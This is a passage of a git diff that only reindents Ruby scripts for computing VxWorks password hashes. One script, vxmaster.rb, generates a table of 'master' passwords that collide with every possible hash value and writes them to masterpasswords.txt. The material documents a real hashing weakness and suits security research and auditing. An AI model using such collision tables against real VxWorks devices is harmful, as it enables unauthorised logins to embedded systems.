inp.length < 8 or inp.length > 120 - raise RuntimeError, "The password must be between 8 and 120 characters" - end - sum = 0 - bytes = inp.unpack("C*") - bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) } - hackit(sum) + if inp.length < 8 or inp.length > 120 + raise RuntimeError, "The password must be between 8 and 120 characters" + end + sum = 0 + bytes = inp.unpack("C*") + bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) } + hackit(sum) end def hackit(sum) - magic = 31695317 - res = ((sum * magic) & 0xffffffff).to_s - res.unpack("C*").map{ |c| - c += 0x21 if c < 0x33 - c += 0x2f if c < 0x37 - c += 0x42 if c < 0x39 - c - }.pack("C*") + magic = 31695317 + res = ((sum * magic) & 0xffffffff).to_s + res.unpack("C*").map{ |c| + c += 0x21 if c < 0x33 + c += 0x2f if c < 0x37 + c += 0x42 if c < 0x39 + c + }.pack("C*") end input = ARGV.shift || "flintstone" diff --git a/tools/vxmaster.rb b/tools/vxmaster.rb index 396f567dd824..e599b91be0a7 100755 --- a/tools/vxmaster.rb +++ b/tools/vxmaster.rb @@ -22,90 +22,90 @@ # not very common in the wild. def vxworks_sum_from_pass(pass) - if pass.length < 8 or pass.length > 40 - raise RuntimeError, "too short or too long" - end - - sum = 0 - bytes = pass.unpack("C*") - bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) } - sum + if pass.length < 8 or pass.length > 40 + raise RuntimeError, "too short or too long" + end + + sum = 0 + bytes = pass.unpack("C*") + bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) } + sum end # VxWorks does a final round of "mangling" on the generated additive sum. This # mangle process does not add any additional security to the hashing mechanism def vxworks_hash_from_sum(sum) - magic = 31695317 - res = ((sum * magic) & 0xffffffff).to_s - res.unpack("C*").map{ |c| - c += 0x21 if c < 0x33 - c += 0x2f if c < 0x37 - c += 0x42 if c < 0x39 - c - }.pack("C*") + magic = 31695317 + res = ((sum * magic) & 0xffffffff).to_s + res.unpack("C*").map{ |c| + c += 0x21 if c < 0x33 + c += 0x2f if c < 0x37 + c += 0x42 if c < 0x39 + c + }.pack("C*") end # This method tries to find an exact match for a given sum. This is inefficient, # but the master password only needs to be precomputed once. def vxworks_pass_from_sum_refine(sum, bsum, pass) - 0.upto(pass.length-1) do |i| - tpass = pass.dup - while ( tpass[i, 1].unpack("C*")[0] > 0x21 ) - tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] - 1 ].pack("C") - bsum = vxworks_sum_from_pass(tpass) - if bsum == sum - return tpass - end - end - end - 0.upto(pass.length-1) do |i| - tpass = pass.dup - while ( tpass[i, 1].unpack("C*")[0] < 0x7c ) - tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] + 1 ].pack("C") - bsum = vxworks_sum_from_pass(tpass) - if bsum == sum - return tpass - end - end - end - "" + 0.upto(pass.length-1) do |i| + tpass = pass.dup + while ( tpass[i, 1].unpack("C*")[0] > 0x21 ) + tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] - 1 ].pack("C") + bsum = vxworks_sum_from_pass(tpass) + if bsum == sum + return tpass + end + end + end + 0.upto(pass.length-1) do |i| + tpass = pass.dup + while ( tpass[i, 1].unpack("C*")[0] < 0x7c ) + tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] + 1 ].pack("C") + bsum = vxworks_sum_from_pass(tpass) + if bsum == sum + return tpass + end + end + end + "" end # This method locates a "workalike" password that matches a given # intermediate additive sum value. def vxworks_pass_from_sum(sum, lpass=nil) - opass = lpass || "\x20" * 8 - pass = opass.dup - fmax = (sum > 10000) ? 0xff : 0x7b - pidx = 0 - pcnt = pass[0,1].unpack("C*")[0] - more = false - - bsum = vxworks_sum_from_pass(pass) - if bsum > sum - return "" - end - - while bsum != sum - - if bsum > sum - return vxworks_pass_from_sum_refine(sum, bsum, pass) - end - - if pcnt > fmax - pidx += 1 - - if pidx == (pass.length) - pass += " " - end - pcnt = pass[pidx, 1].unpack("C")[0] - end - - pass[pidx,1] = [ pcnt ].pack("C") - bsum = vxworks_sum_from_pass(pass) - pcnt += 1 - end - pass + opass = lpass || "\x20" * 8 + pass = opass.dup + fmax = (sum > 10000) ? 0xff : 0x7b + pidx = 0 + pcnt = pass[0,1].unpack("C*")[0] + more = false + + bsum = vxworks_sum_from_pass(pass) + if bsum > sum + return "" + end + + while bsum != sum + + if bsum > sum + return vxworks_pass_from_sum_refine(sum, bsum, pass) + end + + if pcnt > fmax + pidx += 1 + + if pidx == (pass.length) + pass += " " + end + pcnt = pass[pidx, 1].unpack("C")[0] + end + + pass[pidx,1] = [ pcnt ].pack("C") + bsum = vxworks_sum_from_pass(pass) + pcnt += 1 + end + pass end outputfile = ARGV.shift() || "masterpasswords.txt" @@ -121,83 +121,83 @@ def vxworks_pass_from_sum(sum, lpass=nil) seeds = [] 8.upto(8) do |slen| - 0x23.upto(0x7c) do |cset| - sbase = [cset].pack("C") * slen - seeds << [ vxworks_sum_from_pass(sbase), sbase ] - end + 0x23.upto(0x7c) do |cset| + sbase = [cset].pack("C") * slen + seeds << [ vxworks_sum_from_pass(sbase), sbase ] + end end seedsets << seeds seeds = [] 8.upto(12) do |slen| - 0x23.upto(0x7c) do |cset| - sbase = [cset].pack("C") * slen - seeds << [ vxworks_sum_from_pass(sbase), sbase ] - end + 0x23.upto(0x7c) do |cset| + sbase = [cset].pack("C") * slen + seeds << [ vxworks_sum_from_pass(sbase), sbase ] + end end seedsets << seeds seeds = [] 8.upto(16) do |slen| - 0x23.upto(0xf0) do |cset| - sbase = [cset].pack("C") * slen - seeds << [ vxworks_sum_from_pass(sbase), sbase ] - end + 0x23.upto(0xf0) do |cset| + sbase = [cset].pack("C") * slen + seeds << [ vxworks_sum_from_pass(sbase), sbase ] + end end seedsets << seeds seeds = [] 8.upto(16) do |slen| - 0x23.upto(0xff) do |cset| - sbase = [cset].pack("C") * slen - seeds << [ vxworks_sum_from_pass(sbase), sbase ] - end + 0x23.upto(0xff) do |cset| + sbase = [cset].pack("C") * slen + seeds << [ vxworks_sum_from_pass(sbase), sbase ] + end end seedsets << seeds seeds = [] 8.upto(40) do |slen| - 0x23.upto(0xff) do |cset| - sbase = [cset].pack("C") * slen - seeds << [ vxworks_sum_from_pass(sbase), sbase ] - end + 0x23.upto(0xff) do |cset| + sbase = [cset].pack("C") * slen + seeds << [ vxworks_sum_from_pass(sbase), sbase ] + end end seedsets << seeds # Calculate passwords and their hashes for all possible outputs 1.upto(209656) do |i| - found = false - seedsets.each do |seeds| - lhash = nil - seeds.reverse.each do |s| - if i > (s[0] + 1000) - lhash = s[1] - break - end - end - - hash = vxworks_hash_from_sum(i) - pass = vxworks_pass_from_sum(i, lhash) - - puts "[*] Generated #{i} of 209656 passwords..." if (i % 1000 == 0) - # The first 1187 passwords are not very likely to occur and we skip - # generation. These are "sums" that result in a value lesss than a - # 8 digit password of all spaces. - - if i > 1187 and pass =~ /<.*>/ - # p "#{i} SEED '#{lhash}' => '#{hash}' => '#{pass}'" - next - end - ofd.puts "#{i}|#{hash}|#{pass}\x00" - found = true - break - end - - if not found - puts "FAILED TO GENERATE #{i}" - exit(0) - end + found = false + seedsets.each do |seeds| + lhash = nil + seeds.reverse.each do |s| + if i > (s[0] + 1000) + lhash = s[1] + break + end + end + + hash = vxworks_hash_from_sum(i) + pass = vxworks_pass_from_sum(i, lhash) + + puts "[*] Generated #{i} of 209656 passwords..." if (i % 1000 == 0) + # The first 1187 passwords are not very likely to occur and we skip + # generation. These are "sums" that result in a value lesss than a + # 8 digit password of all spaces. + + if i > 1187 and pass =~ /<.*>/ + # p "#{i} SEED '#{lhash}' => '#{hash}' => '#{pass}'" + next + end + ofd.puts "#{i}|#{hash}|#{pass}\x00" + found = true + break + end + + if not found + puts "FAILED TO GENERATE #{i}" + exit(0) + end end